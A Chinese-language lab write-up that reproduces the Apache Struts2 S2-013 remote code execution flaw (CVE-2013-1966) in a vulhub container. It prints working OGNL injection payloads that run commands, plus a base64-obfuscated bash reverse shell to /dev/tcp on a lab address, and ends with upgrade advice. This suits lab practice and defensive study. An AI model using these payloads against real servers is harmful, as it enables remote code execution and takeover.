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CVE-2013-1966 S2-013 远程代码执行漏洞

2023-02-18 16:38:48 时间

1 漏洞信息

漏洞名称

远程代码执行漏洞

漏洞编号

CVE-2013-1966

危害等级

高危

漏洞类型

中间件漏洞

漏洞厂商

Apache

漏洞组件

Struts2

受影响版本

2.0.0 <= Struts2 <= 2.3.14.1

漏洞概述

url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为：none-在URL中不包含任何参数（默认），get-仅在URL中包含get参数，all-在URL中同时包含get和post参数。当INCLUDEParams被赋予了以上参数，struts会进行OGNL解析。

2 环境搭建

2.1 环境概述

  • Linux操作系统

2.2 搭建过程

拉取镜像

 cd vulhub/struts2/s2-013
 docker-compose up -d

访问http://192.168.146.158:8013

3 漏洞复现

访问url，构造一个恶意的payload并发送。

 /?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo+has+vul%27%29.getInputStream%28%29%2C%23b%3Dnew+java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew+java.io.BufferedReader%28%23b%29%2C%23d%3Dnew+char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28%27%27%2Bnew+java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D
 ​
 payload原型：
 /?a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('echo has vul').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(''+new java.lang.String(#d)),#out.close()}

发现成功执行了echo has vul，说明存在该漏洞。

既然发现漏洞了，那我们可以构造一个payload，执行id命令。

 /?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew+java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew+java.io.BufferedReader%28%23b%29%2C%23d%3Dnew+char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28%27%27%2Bnew+java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D
 ​
 payload原型：
 /?a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(''+new java.lang.String(#d)),#out.close()}

成功执行了id命令。

接下来开始反弹shell

 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 base加密
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
 url编码
 bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

访问漏洞url并且添加恶意payload进行抓包。

 /?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%2C%23b%3Dnew+java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew+java.io.BufferedReader%28%23b%29%2C%23d%3Dnew+char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28new+java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D
 ​
 payload原型：
 /?a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(new java.lang.String(#d)),#out.close()}

攻击机进行监听，然后发现成功反弹了shell。

4 修复建议

1、推荐的解决方案：升级至比受漏洞影响的更高版本。

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